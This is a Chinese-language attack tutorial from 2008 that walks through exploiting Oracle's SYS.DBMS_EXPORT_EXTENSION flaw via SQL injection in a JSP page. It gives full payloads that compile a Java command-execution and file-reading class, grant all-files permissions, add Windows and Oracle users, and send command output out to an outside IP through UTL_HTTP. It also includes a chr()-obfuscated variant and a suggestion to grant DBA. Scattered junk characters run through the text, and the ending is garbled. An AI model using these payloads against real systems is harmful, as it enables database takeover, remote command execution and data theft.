以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
3 p" i* `6 [3 s! t/ F# Y! \! }- @+ U
/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
6 @% b0 G% ]; R3 ]3 k的形式即可。(用" 'a'|| "是为了让语句返回true值) ' ^9 M3 G0 A7 ]1 C Y- q
语句有点长,可能要用post提交。
9 ]( [: d2 Y! F以下是各个步骤: % q& U; G `" |
1.创建包 - l7 P# ?6 h" k; x) s% j
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:
x# h9 b/ f6 n6 W% R& s$ r/xxx.jsp?id=1 and '1'<>'a'||( ! p7 z. s5 x! o4 ~" e- I% H
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: O' U/ a/ `7 e) o, ]create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
1 ~* `! N# ~' o) N$ f' \: Cnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
1 g$ H6 n3 Q3 K9 r) I `5 n% H}'''';END;'';END;--','SYS',0,'1',0) from dual
& j/ V& g, h8 Q2 B5 s5 B)
9 _5 o7 L, [4 R3 ^( Q3 t5 T0 z! t------------------------ ' \9 l( W: q( ]2 t; W* g
如果url有长度限制,可以把readFile()函数块去掉,即: % d1 }8 g: s4 _
/xxx.jsp?id=1 and '1'<>'a'||(
) D2 g# o4 F% s7 J! U$ |# Sselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 G# e) B* L: ?) K6 D2 x' e1 y. Gcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(- u7 w5 x5 _( r. C
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
3 k7 x8 ]% ]1 R( g/ D}'''';END;'';END;--','SYS',0,'1',0) from dual
1 L- I; {/ R% o0 Z4 u( ^6 }$ w2 K0 x) 2 o5 L/ \3 i7 I6 q
同时把后面步骤 提到的 对readFile()的处理语句去掉。 7 O' Z- z0 i* z( ~4 ^6 t! G
------------------------------
& D/ M9 p/ S M; k2.赋Java权限 7 z+ v# g( J" W" n9 Z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
1 n" }; U% y$ g6 S2 `$ N* x3.创建函数 . P/ s2 I3 P: `1 J
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ l: V1 t: y5 C: C$ s. @( \
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
( z7 O" |2 @1 x' Y7 B! K+ M) z; hselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''3 U" Z- k* B/ g* ^
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
6 C: |: q& y4 V+ [4.赋public执行函数的权限 6 ~$ j9 l- D0 a
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
' \% y7 G& T1 K5 q- g% M tselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual( S, `. i! {9 p$ D
5.测试上面的几步是否成功 ! N7 v. ^- [$ m; U6 Z
and '1'<>'11'||( ' w8 a( Y5 @' i' k
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD' , i0 K: ?& j0 o
)
: \0 H- D1 n7 B& y9 ? \ l5 W8 T" ^9 Cand '1'<>(
7 d6 \: w7 @' J$ _# T7 r2 M. w8 y5 s. _select OBJECT_ID from all_objects where object_name ='LINXREADFILE' ' s5 T- ^! Z* @& b) ~/ A' p K
) * X7 q C; I, T& W! V, d- R5 I
6.执行命令: 1 Z; @( B8 B, l8 v7 [# \; N$ c9 M% S5 ~
/xxx.jsp?id=1 and '1'<>(
7 ]9 V! S* k1 J* Z0 z+ Fselect sys.LinxRunCMD('cmd /c net user linx /add') from dual 6 `2 P: [" [& s! h
7 P' N4 J, e8 s, m
) 6 A& D1 g5 f! E% G* }# ~+ x
/xxx.jsp?id=1 and '1'<>(
3 `3 R/ N6 f# q' E; P1 sselect sys.LinxReadFile('c:/boot.ini') from dual! J" r$ ?! R( F+ Z4 @+ `
: K# G0 J# P3 `) G
)8 P' R$ o$ A1 M9 u1 {% L0 n( q
5 u. g5 _" o! {0 p) N- E4 o
注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
" b8 m8 C4 I5 W; e" ]+ y0 b如果要查看运行结果可以用 union : " | c; {9 q" V* z( Z2 X
/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
% w9 Q! N, h& D或者UTL_HTTP.request(: : D- T- P- i' b" V: p+ n+ E* @; t) v
/xxx.jsp?id=1 and '1'<>( $ m5 c5 }) h( A2 D$ V. D
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
N7 w* A- ]- s8 r: _0 m)
! }2 z" p" {- y4 a' b/ C* J) \% z/xxx.jsp?id=1 and '1'<>( 7 m6 s" ^5 t# w& P7 ^# e; d
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:'||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual+ {- s: P* N0 W. l P
)
& e7 J/ }9 z N' e: V9 @5 C E注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。( v: S' C1 a1 l1 u M6 i
--------------------
* m' L. p% ~" A" Y3 _4 E; }6.内部变化 ; }3 u) \! R, X4 J/ O! K
通过以下命令可以查看all_objects表达改变: 8 y" B/ H8 k6 |! @ h, E2 `+ _
select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%': _! N z+ L% D9 w
7.删除我们创建的函数 7 o; `+ U0 Q8 m7 N5 c
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') E# ^. E' l9 [* g. H( S
drop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual 9 r% e+ _% E5 y" j& o: R
==================================================== 3 v' [( q: C1 k. o8 H2 w G6 Z; C
全文结束。谨以此文赠与我的朋友。
* J3 G$ Z: N2 h6 u( olinx
" D' ~/ V! B9 ^7 d( ^124829445 5 U& e9 G* |$ v# V
2008.1.12
" W- i8 z R" Y- Y& r9 ]- Rlinyujian@bjfu.edu.cn
8 H" k' i& }7 Q======================================================================
3 C, ]4 x5 E+ `* Y测试漏洞的另一方法:
+ t8 P2 B. _6 {7 ]' J; t( {$ w创建oracle帐号: - I+ u! k( L) T1 P% U: x! E
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 T2 v j7 o2 Q- m+ G/ c" A+ U: k
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
7 ^1 {0 K+ K$ ~8 S即: 5 l8 {% h7 `5 V7 E a" e/ Y; d
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),* D1 @ S) [, f# Y
chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual ; {9 j2 c' C5 U. O3 i! T* T' n
确定漏洞存在:
/ s# l" k6 P$ r; \: O1<>(
6 o* y# R, o% r+ ?" Q* u1 zselect user_id from all_users where username='LINXSQL' , z& t/ B4 v2 P; M4 p
) ' P6 X5 a( r; E* Q
给linxsql连接权限: 9 O2 C c E$ s- D: ?% z
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT( 1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''2 Y; \% E% F' K( Z e7 o
GRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual % _& f" r3 y1 [# @ Y
删除帐号: 4 p0 c4 b' K4 Y; ]$ ~' C: ?
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''', d# v: ~! U# ~6 a5 d* G
drop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual 1 E. e& m/ r4 b
====================== 6 J) s' r G' `; ]& u0 J7 V) k
以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:
9 ?1 }* ^/ R G4 i: O; t1.jsp?id=1 and '1'<>(
, ]7 k4 s% g4 ]9 p9 W6 iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
t0 l! [3 l7 D7 ~4 `create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
8 J* w9 b5 {, p8 |- I" X* e) I9 m) and ... 1.jsp?id=1 and '1'( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE# z# a8 W2 U' K) o! Y& r
). u: s& j% W1 N+ |% P
) `8 x( `( d4 @& w
6 T5 K$ }1 ^2 E' \) r P8 d% v. K0 D* E
|